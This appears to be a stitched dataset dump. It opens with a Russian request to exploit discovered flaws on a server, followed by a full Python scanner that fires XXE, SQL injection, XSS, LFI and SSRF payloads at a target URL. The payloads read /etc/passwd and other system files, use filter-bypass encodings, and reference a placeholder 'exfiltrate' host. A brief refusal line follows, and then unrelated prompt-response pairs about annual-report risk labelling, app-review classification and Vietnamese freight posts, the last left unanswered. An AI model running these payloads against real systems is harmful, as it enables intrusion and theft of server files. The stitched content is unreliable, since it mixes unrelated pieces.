Respan Dataset Explorer

после нахождения , провеить те кторорые были найдены эксплотировать эих на сервер 
import requests
import sys
import urllib.parse
import re
import concurrent.futures
import logging
from urllib.parse import quote, urljoin
from urllib.parse import parse_qs, urlparse
import urllib3

# Отключение предупреждений о неподтверждённых SSL-сертификатах
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Настройка логирования
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler("vulnerability_scan.log", encoding="utf-8"),
        logging.StreamHandler(sys.stdout)
    ]
)

def encode_payload(payload, encoding_type):
    if encoding_type == 'url':
        return quote(payload)
    elif encoding_type == 'unicode':
        return ''.join([f'&#x{ord(c):x};' for c in payload])
    elif encoding_type == 'double_url':
        return quote(quote(payload))
    else:
        return payload

def generate_bypass_payloads(payload):
    bypass_payloads = []
    encodings = ['url', 'unicode', 'double_url']
    for encoding in encodings:
        encoded = encode_payload(payload, encoding)
        bypass_payloads.append({
            'description': f'Payload с обходом фильтра ({encoding})',
            'payload': encoded
        })
    # Изменение регистра
    bypass_payloads.append({
        'description': 'Payload с изменением регистра',
        'payload': payload.swapcase()
    })
    # Разделение строки с использованием комментариев
    bypass_payloads.append({
        'description': 'Payload с разделением строки и комментариями',
        'payload': payload.replace('(', '(%0A)')
    })
    return bypass_payloads

def scan_xxe(url, params, headers):
    """
    Функция для проверки уязвимости XXE
    """
    logging.info("[*] Запуск проверки XXE...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые XXE payload'ы
    base_payloads = [
        {
            "description": "Попытка чтения /etc/passwd",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Попытка чтения файла Windows system",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >]>
<foo>&xxe;</foo>'''
        },
        # Добавьте дополнительные базовые payload'ы при необходимости
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    # Регулярные выражения для поиска специфических ошибок DTD
    dtd_errors = [
        re.compile(r'DOCTYPE', re.IGNORECASE),
        re.compile(r'XML parsing error', re.IGNORECASE),
        re.compile(r'not allowed to load external entity', re.IGNORECASE),
        re.compile(r'DTD', re.IGNORECASE),
        re.compile(r'SAXException', re.IGNORECASE),
        re.compile(r'EntityExpansionLimit', re.IGNORECASE),
    ]

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "XXE",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] XXE Тест {idx}: {description}")
        try:
            response = requests.post(url, data=payload, headers=headers, timeout=10, verify=False)
            content = response.text
            result["response"] = content

            # Проверка наличия содержимого /etc/passwd
            if "root:" in content:
                result["vulnerable"] = True
                result["details"] = "Найдена строка 'root:' в ответе."
                logging.info(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                vulnerable = True
                return result

            # Проверка на специфические строки, связанные с путями файлов
            specific_strings = [
                "/etc/hosts", "Windows", "system32", "apache2", "docker", "my.cnf",
                "application.properties", "config.php", "secret.txt", "config.json",
                "php.ini", "sshd_config", "main.cf", "redis.conf", "elasticsearch.yml",
                "grafana.ini", "config.xml", "kubelet.conf", "syslog", "daemon.json",
                "postgresql.conf", "nginx.conf", "hosts", "Win.INI", "hosts"
            ]
            for s in specific_strings:
                if s.lower() in content.lower():
                    result["vulnerable"] = True
                    result["details"] = f"Найдена строка '{s}' в ответе."
                    logging.info(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            # Проверка на наличие DTD или специфических ошибок XML
            for error_pattern in dtd_errors:
                if error_pattern.search(content):
                    result["vulnerable"] = True
                    result["details"] = f"Найдена ошибка связанная с DTD: {error_pattern.pattern}"
                    logging.warning(f"    [!] Возможный признак обработки DTD или ошибки парсинга: {error_pattern.pattern}")
                    vulnerable = True
                    return result

            # Проверка на наличие URL, использованных в SSRF
            if "yourserver.com/exfiltrate" in content or "attacker.com" in content:
                result["vulnerable"] = True
                result["details"] = "Обнаружены попытки exfiltration через SSRF."
                logging.info(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                vulnerable = True
                return result

            # Проверка на наличие комментариев, содержащих данные
            if "&xxe;" in content:
                result["vulnerable"] = True
                result["details"] = "Возможно, данные переданы через комментарии или CDATA."
                logging.warning(f"    [!] Возможно, данные переданы через комментарии или CDATA.")
                vulnerable = True
                return result

            logging.info(f"    [-] Уязвимость XXE не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    # Использование пула потоков для параллельной отправки запросов
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов XXE ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
    else:
        logging.info("\n[-] Уязвимость XXE не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results

def scan_sqli(url, params, headers):
    """
    Функция для проверки уязвимости SQL Injection
    """
    logging.info("[*] Запуск проверки SQL Injection...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые SQLi payload'ы
    base_payloads = [
        {
            "description": "Тест с одиночной кавычкой (')",
            "payload": "'"
        },
        {
            "description": "Тест с SQL-комментарием --",
            "payload": "'-- "
        },
        {
            "description": "Тест с закрытием кавычки и добавлением OR 1=1",
            "payload": "' OR '1'='1"
        },
        # Добавьте дополнительные payload'ы при необходимости
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "SQL Injection",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] SQLi Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Простейшая проверка на SQL-ошибки
                error_patterns = [
                    re.compile(r"you have an error in your sql syntax", re.IGNORECASE),
                    re.compile(r"warning: mysql", re.IGNORECASE),
                    re.compile(r"unclosed quotation mark after the character string", re.IGNORECASE),
                    re.compile(r"quoted string not properly terminated", re.IGNORECASE),
                ]

                for pattern in error_patterns:
                    if pattern.search(content):
                        result["vulnerable"] = True
                        result["details"] = f"Найдена ошибка SQL: {pattern.pattern}"
                        logging.info(f"    [+] Уязвимость SQL Injection обнаружена с payload: {description}")
                        vulnerable = True
                        return result

            logging.info(f"    [-] Уязвимость SQL Injection не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов SQL Injection ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
    else:
        logging.info("\n[-] Уязвимость SQL Injection не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results

def scan_xss(url, params, headers):
    """
    Функция для проверки уязвимости Cross-Site Scripting (XSS)
    """
    logging.info("[*] Запуск проверки Cross-Site Scripting (XSS)...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые XSS payload'ы
    base_payloads = [
        {
            "description": "Тест с простым скриптом",
            "payload": "<script>alert('XSS')</script>"
        },
        {
            "description": "Тест с событием onclick",
            "payload": "\"><img src=x onerror=alert('XSS')>"
        },
        {
            "description": "Тест с использованием SVG",
            "payload": "<svg/onload=alert('XSS')>"
        },
        # Добавьте дополнительные payload'ы при необходимости
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "XSS",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] XSS Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка отражения payload
                if payload in content:
                    result["vulnerable"] = True
                    result["details"] = "Payload отражён в ответе."
                    logging.info(f"    [+] Уязвимость XSS обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            logging.info(f"    [-] Уязвимость XSS не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов XSS ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
    else:
        logging.info("\n[-] Уязвимость XSS не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results

def scan_lfi(url, params, headers):
    """
    Функция для проверки уязвимости Local File Inclusion (LFI)
    """
    logging.info("[*] Запуск проверки Local File Inclusion (LFI)...")
    vulnerable = False
    results = []
    successful_tests = []

    # Базовые LFI payload'ы
    base_payloads = [
        {
            "description": "Попытка включения /etc/passwd",
            "payload": "../../../../../../etc/passwd"
        },
        {
            "description": "Попытка включения /windows/win.ini",
            "payload": "../../../../../../windows/win.ini"
        },
        {
            "description": "Попытка включения веб-приложения конфигурации (config.php)",
            "payload": "../../../../../../var/www/html/config.php"
        },
        # Добавьте дополнительные payload'ы при необходимости
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        result = {
            "test_number": idx,
            "vulnerability": "LFI",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] LFI Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.get(url, params=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка наличия специфических строк в ответе
                if "root:x:" in content or "Windows" in content or "config.php" in content:
                    result["vulnerable"] = True
                    result["details"] = "Возможен доступ к локальным файлам."
                    logging.info(f"    [+] Уязвимость LFI обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            logging.info(f"    [-] Уязвимость LFI не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов LFI ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
    else:
        logging.info("\n[-] Уязвимость LFI не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results

def scan_ssrf(url, params, headers):
    """
    Функция для проверки уязвимости Server-Side Request Forgery (SSRF)
    """
    logging.info("[*] Запуск проверки Server-Side Request Forgery (SSRF)...")
    vulnerable = False
    results = []
    successful_tests = []

    # Предполагаемый сервер для exfiltration (например, ваш сервер для получения запросов)
    exfiltration_server = "yourserver.com"

    # Базовые SSRF payload'ы
    base_payloads = [
        {
            "description": "Тест с внутренним IP-адресом",
            "payload": "http://127.0.0.1"
        },
        {
            "description": "Тест с локальным портом",
            "payload": "http://localhost:8080"
        },
        {
            "description": "Тест с DNS-имёнованием",
            "payload": "http://localhost.domain.com"
        },
        # Добавьте дополнительные payload'ы при необходимости
    ]

    # Генерация обходных payload'ов для фильтров
    all_payloads = []
    for base in base_payloads:
        all_payloads.append(base)
        bypasses = generate_bypass_payloads(base['payload'])
        all_payloads.extend(bypasses)

    def process_payload(idx, payload_struct):
        nonlocal vulnerable
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        test_url = f"http://{exfiltration_server}/exfiltrate?url={payload}"
        result = {
            "test_number": idx,
            "vulnerability": "SSRF",
            "description": description,
            "vulnerable": False,
            "details": "",
            "response": ""
        }
        logging.info(f"\n[+] SSRF Тест {idx}: {description}")
        try:
            # Вставляем payload во все параметры по очереди
            for param in params:
                data = params.copy()
                data[param] = payload
                response = requests.get(url, params=data, headers=headers, timeout=10, verify=False)
                content = response.text
                result["response"] = content

                # Проверка на exfiltration
                # Предполагается, что exfiltration_server получает запросы, и вы можете проверять логи сервера
                # Здесь мы просто проверяем ответ на наличие специфических признаков
                if exfiltration_server in content:
                    result["vulnerable"] = True
                    result["details"] = "Запрос был отправлен на exfiltration сервер."
                    logging.info(f"    [+] Уязвимость SSRF обнаружена с payload: {description}")
                    vulnerable = True
                    return result

            logging.info(f"    [-] Уязвимость SSRF не обнаружена с данным payload.")
            return result
        except requests.exceptions.RequestException as e:
            result["details"] = f"Ошибка при запросе: {e}"
            logging.error(f"    [!] Ошибка при запросе: {e}")
            return result
        except Exception as ex:
            result["details"] = f"Неожиданная ошибка: {ex}"
            logging.error(f"    [!] Неожиданная ошибка: {ex}")
            return result

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
        for future in concurrent.futures.as_completed(future_to_payload):
            idx = future_to_payload[future]
            try:
                result = future.result()
                results.append(result)
                if result["vulnerable"]:
                    successful_tests.append(result)
            except Exception as exc:
                logging.error(f"    [!] Тест {idx} сгенерировал исключение: {exc}")

    # Вывод ответов от сервера для успешных тестов
    if successful_tests:
        logging.info("\n=== Ответы от сервера для успешных тестов SSRF ===\n")
        for res in successful_tests:
            logging.info(f"Тест {res['test_number']}: {res['description']}")
            logging.info(f"Уязвимость обнаружена: Да")
            logging.info(f"Детали: {res['details']}")
            logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
    else:
        logging.info("\n[-] Уязвимость SSRF не обнаружена с использованием предоставленных тестов.")

    return vulnerable, results

def main_scan(url):
    """
    Главная функция для выполнения всех сканирований
    """
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',  # Общий тип контента, можно настроить при необходимости
    }

    # Определение методов и уязвимостей для сканирования
    vulnerabilities = {
        "XXE": scan_xxe,
        "SQL Injection": scan_sqli,
        "XSS": scan_xss,
        "LFI": scan_lfi,
        "SSRF": scan_ssrf,
        # Добавьте дополнительные уязвимости и соответствующие функции здесь
    }

    # Предполагается, что параметры передаются через GET или POST
    # Для упрощения примера будем использовать POST-данные
    # Вы можете расширить это, например, анализируя URL на наличие GET-параметров
    method = input("Выберите метод запроса (GET/POST): ").strip().lower()
    if method not in ['get', 'post']:
        logging.error("Некорректный метод. Пожалуйста, выберите 'GET' или 'POST'.")
        sys.exit(1)

    if method == 'get':
        parsed_url = urlparse(url)
        query_params = parse_qs(parsed_url.query)
        params = {k: v[0] for k, v in query_params.items()}
    else:
        # Для POST-запросов предполагаем, что параметры будут запрошены у пользователя
        # В реальных случаях можно автоматизировать получение параметров
        params = {}
        while True:
            param = input("Введите имя параметра (или нажмите Enter для завершения): ").strip()
            if not param:
                break
            value = input(f"Введите значение для параметра '{param}': ").strip()
            params[param] = value

    if not params:
        logging.error("Не были предоставлены параметры для сканирования.")
        sys.exit(1)

    logging.info(f"URL: {url}")
    logging.info(f"Метод: {method.upper()}")
    logging.info(f"Параметры: {params}")

    # Выполнение сканирования для каждой уязвимости
    scan_results = {}
    for vuln_name, vuln_func in vulnerabilities.items():
        logging.info(f"\n=== Проверка на уязвимость: {vuln_name} ===")
        if method == 'get':
            vuln_vulnerable, results = vuln_func(url, params, headers)
        else:
            vuln_vulnerable, results = vuln_func(url, params, headers)
        scan_results[vuln_name] = {
            "vulnerable": vuln_vulnerable,
            "results": results
        }

    # Сохранение результатов в файл
    with open("vulnerability_scan_results.txt", "w", encoding="utf-8") as f:
        for vuln, data in scan_results.items():
            f.write(f"=== Уязвимость: {vuln} ===\n")
            f.write(f"Уязвимость обнаружена: {'Да' if data['vulnerable'] else 'Нет'}\n")
            for res in data['results']:
                f.write(f"Тест {res['test_number']}: {res['description']}\n")
                f.write(f"    Уязвимость обнаружена: {'Да' if res['vulnerable'] else 'Нет'}\n")
                if res['details']:
                    f.write(f"    Детали: {res['details']}\n")
                if res['vulnerable']:
                    f.write(f"    Ответ сервера:\n{res['response']}\n")
                f.write("\n")
            f.write("\n\n")

    # Итоговый вывод
    for vuln, data in scan_results.items():
        if data['vulnerable']:
            logging.info(f"[+] Уязвимость {vuln} обнаружена.")
        else:
            logging.info(f"[-] Уязвимость {vuln} не обнаружена.")

if __name__ == "__main__":
    target_url = input("Введите URL для сканирования (например, https://example.com/login): ").strip()
    # Проверка корректности URL
    parsed_url = urllib.parse.urlparse(target_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        logging.error("[-] Некорректный URL. Пожалуйста, введите полный URL, включая схему (http:// или https://).")
        sys.exit(1)

    main_scan(target_url)

Извините, но я не могу помочь с этим.

System: You are an accounting expert. You act as a Data Annotator that needs to classify paragraphs from annual reports based on the risks discussed. Here is a list of risk often discussed but you can provide others. 

Answer in the following format :
Correct Answer: <risk discussed>, <other risk discussed>, ...
Wrong Answer: <risk not discussed>, <other risk not discussed>, ...
User: Even though we structure many investments as secured loans, if one of our portfolio companies were to go bankrupt, depending on the facts and circumstances, and based upon principles of equitable subordination as defined by existing case law, a bankruptcy court could subordinate all or a portion of our claim to that of other creditors and transfer any lien securing such subordinated claim to the bankruptcy estate. The principles of equitable subordination defined by case law have generally indicated that a claim may be subordinated only if its holder is guilty of misconduct or where the senior loan is re-characterized as an equity investment and the senior lender has actually provided significant managerial assistance to the bankrupt debtor. We may also be subject to lender liability claims for actions taken by us with respect to a borrower’s business or instances where we exercise control over the borrower. It is possible that we could become subject to a lender’s liability claim, including as a result of actions taken in rendering significant managerial assistance or actions to compel and collect payments from the borrower outside the ordinary course of business. Such risk of equitable subordination may be potentially heightened with respect to various portfolio investments that we may be deemed to control.
Let's give a correct and a wrong answer:
Assistant:

Correct Answer: Bankruptcy risk, Lender liability risk, Equitable subordination risk, Control risk  
Wrong Answer: Currency exchange risk, Interest rate risk, Environmental risk

System: I will provide you with a textual user review of an Android app, aiming to categorize the reviews into specific intention classes:
Bug report: All posts that report on bugs and errors of a software application.
Feature related: All posts that contain information about the feedback on a feature (e.g., like, dislike, shortcoming), improvement request, or a new feature request.
Irrelevant: All posts that contain non-technical information related to software applications.
User: 'prompt:I will provide you with a textual user review of an Android app, aiming to categorize the reviews into specific intention classes:
Bug report: All posts that report on bugs and errors of a software application.
Feature related: All posts that contain information about the feedback on a feature (e.g., like, dislike, shortcoming), improvement request, or a new feature request.
Irrelevant: All posts that contain non-technical information related to software applications.
Does the author's intention in this app review relate to a Bug report or Feature related or Irrelevant?
review: Idea to prevent fake news on Whatsapp. Whatsapp has become a major contributor for distributing fake news. I dont understand why it is so hard to implement a feature to stop the same.How about making it compulsary to provide a link to the source for some post before it was sent if the post contains some sensitive words? I dont think that something like that will need to break end to end encryption. How about something that works as follows:-- keep a dictionary of sensitive words downloaded/updated on each whatsapp client. - Before the message is sent or forwarded'
intention: '
Assistant:

Feature related

System: You are an accounting expert. You act as a Data Annotator that needs to classify paragraphs from annual reports based on the risks discussed. Here is a list of risk often discussed but you can provide others. 

Answer in the following format :
Correct Answer: <risk discussed>, <other risk discussed>, ...
Wrong Answer: <risk not discussed>, <other risk not discussed>, ...
User: International sales comprise a significant amount of our overall revenue. International sales were 48.6%, 22.6% and 24.6% of overall revenue in fiscal year 2019, 2018 and 2017, respectively. We continue to be committed to growing our international sales, and while we have committed resources to expanding our international operations and sales channels, these efforts may not be successful. International operations are subject to a number of risks, including but not limited to:_• | exchange rate fluctuations; |_• | political and economic instability, international terrorism, and anti-American sentiment, particularly in emerging markets; |_• | potential for violations of anti-corruption laws and regulations, such as those related to bribery and fraud; |_• | preference for locally branded products, and laws and business practices favoring local competition; |_• | potential consequences of, and uncertainty related to, the “Brexit” process in the United Kingdom, which could lead to additional expense and complexity in doing business there; |
Let's give a correct and a wrong answer:
Assistant:

Correct Answer: Exchange rate risk, Political and economic instability risk, Compliance risk (anti-corruption laws), Market preference risk (preference for locally branded products), Brexit-related risk
Wrong Answer: Cybersecurity risk, Supply chain disruption risk, Climate change risk, Technological risk

System: You are an accounting expert. You act as a Data Annotator that needs to classify paragraphs from annual reports based on the risks discussed. Here is a list of risk often discussed but you can provide others. 

Answer in the following format :
Correct Answer: <risk discussed>, <other risk discussed>, ...
Wrong Answer: <risk not discussed>, <other risk not discussed>, ...
User: As of December 31, 2023, we had total outstanding debt of $44.0 million under our credit agreement with UBS Bank USA and UBS Financial Services Inc. We may incur additional indebtedness in the future. This credit agreement contains various covenants and other restrictions as described in Note 6, Debt included in the notes to consolidated financial statements included elsewhere in this Form 10-K. Our leverage could have important consequences to us, including:_•exposing us to the risk of increased interest rates as our borrowings under our current debt facilities are at variable rates;_•making it more difficult for us to make payments on our debt;_•limiting our ability to pay future dividends;_•increasing our vulnerability to downturns in our business, the storage and organization retail industry or the general economy and limiting our flexibility in planning for, or reacting to, changes in our business;_•requiring a substantial portion of cash flow from operations to be dedicated to the payment of principal and interest on our debt, thereby reducing our ability to use our cash flow to fund our operations, capital expenditures, and future business opportunities;
Let's give a correct and a wrong answer:
Assistant:

Correct Answer: Interest rate risk, Credit risk, Liquidity risk, Economic downturn risk  
Wrong Answer: Cybersecurity risk, Environmental risk, Product liability risk

System: Bạn là một trình trích xuất dữ liệu phân tích các bài đăng trên mạng xã hội để xác định các đề nghị cho thuê xe tải.
        Đối với mỗi nội dung bài đăng, hãy phân tích để lấy các thông tin type, route.
        Phân loại bài đăng (type) theo các quy tắc sau:
        'Hàng tìm xe' nếu nội dung về một người đang tìm xe chở hàng. 
        'Xe tìm hàng' nếu nội dung về một người cho thuê xe chở hàng hoặc tìm hàng để chở.
        'Khác' nếu không thuộc 2 loại trên.
        Phân tích tuyến đường (route) trong nội dung bài post để lấy ra các địa điểm ở Việt Nam và trả về chuỗi gồm thông tin 'from_locaton - to_location'.
        Luôn luôn chỉ trả về kết quả dưới dạng một JSON object theo định dạng {'url':'đường dẫn của bài post', 'route':'string', 'type':'string'}, không có văn bản bổ sung nào khác!
    
User: Thông tin bài đăng: {"url": "https://www.facebook.com/groups/908834997134599/permalink/1299827651368663/", "created_at": "28-10-2024 17:05:30", "content": "Mai em c\u00f3 20c v\u1ecf phi n\u00e0y c\u1ea7n vc t\u1eeb th\u1ecb tr\u1ea5n qu\u1ed1c oai \u0111i l\u00e0o cai. Ace n\u00e0o ti\u1ec7n chuy\u1ebfn gh\u00e9p dc alo em 0975629862", "user_name": "H\u1ea3i Y\u1ebfn \u0110\u1ed7", "user_url": "https://www.facebook.com/profile.php?id=100003945181857", "phone": "0975629862", "bio": "Chuy\u00ean B\u1ec9m n\u1ed9i \u0111\u1ecba Nh\u1eadt-Trung, H\u00e0ng nh\u1eadt x\u00e1ch tay ch\u00ednh h\u00e3ng", "category": "-", "current_city": "S\u1ed1ng t\u1ea1i H\u00e0 N\u1ed9i"}
Assistant:

```json
{"url":"https://www.facebook.com/groups/908834997134599/permalink/1299827651368663/","route":"Quốc Oai - Lào Cai","type":"Hàng tìm xe"}
```

System: Bạn là một trình trích xuất dữ liệu phân tích các bài đăng trên mạng xã hội để xác định các đề nghị cho thuê xe tải.
        Đối với mỗi nội dung bài đăng, hãy phân tích để lấy các thông tin type, route.
        Phân loại bài đăng (type) theo các quy tắc sau:
        'Hàng tìm xe' nếu nội dung về một người đang tìm xe chở hàng. 
        'Xe tìm hàng' nếu nội dung về một người cho thuê xe chở hàng hoặc tìm hàng để chở.
        'Khác' nếu không thuộc 2 loại trên.
        Phân tích tuyến đường (route) trong nội dung bài post để lấy ra các địa điểm ở Việt Nam và trả về chuỗi gồm thông tin 'from_locaton - to_location'.
        Luôn luôn chỉ trả về kết quả dưới dạng một JSON object theo định dạng {'url':'đường dẫn của bài post', 'route':'string', 'type':'string'}, không có văn bản bổ sung nào khác!
    
User: Thông tin bài đăng: {"url": "https://www.facebook.com/groups/908834997134599/permalink/1299776408040454/", "created_at": "28-10-2024 15:15:54", "content": "C\u1ea7n g\u1eedi h\u00e0ng t\u1eeb d\u1ecb n\u1eadu th\u1ea1ch th\u1ea5t \u0111\u1ebfn b\u1ebfn xe m\u1ef9 \u0111\u00ecnh", "user_name": "H\u01b0ng Tr\u01b0\u01a1ng", "user_url": "https://www.facebook.com/profile.php?id=100041407309934", "phone": "", "bio": "-", "category": "-", "current_city": "S\u1ed1ng t\u1ea1i Que Son, Qu\u1ea3ng Nam, Vietnam"}
Assistant:

```json
{"url":"https://www.facebook.com/groups/908834997134599/permalink/1299776408040454/","route":"Thạch Thất - Mỹ Đình","type":"Hàng tìm xe"}
```

System: You are an accounting expert. You act as a Data Annotator that needs to classify paragraphs from annual reports based on the risks discussed. Here is a list of risk often discussed but you can provide others. 

Answer in the following format :
Correct Answer: <risk discussed>, <other risk discussed>, ...
Wrong Answer: <risk not discussed>, <other risk not discussed>, ...
User: Our business is sensitive to general economic conditions. Slower global economic growth, actual or anticipated default on sovereign debt, changes in global trade policies, volatility in the currency and credit markets, high levels of unemployment or underemployment, inflation or deflation, supply interruptions, reduced levels of capital expenditures, changes in government fiscal and monetary policies, government deficit reduction and budget negotiation dynamics, sequestration, other austerity measures, political and social instability, natural disasters, terrorist attacks, and other challenges that affect the global economy adversely affect us and our distributors, customers and suppliers, including having the effect of:_•reducing demand for our products, software and services, limiting the financing available to our customers and suppliers, increasing order cancellations and resulting in longer sales cycles and slower adoption of new technologies;_•increasing the difficulty in collecting accounts receivable and the risk of excess and obsolete inventories;_•increasing price competition in our served markets;_•supply interruptions, which could disrupt our ability to produce our products;
Let's give a correct and a wrong answer:
Assistant:

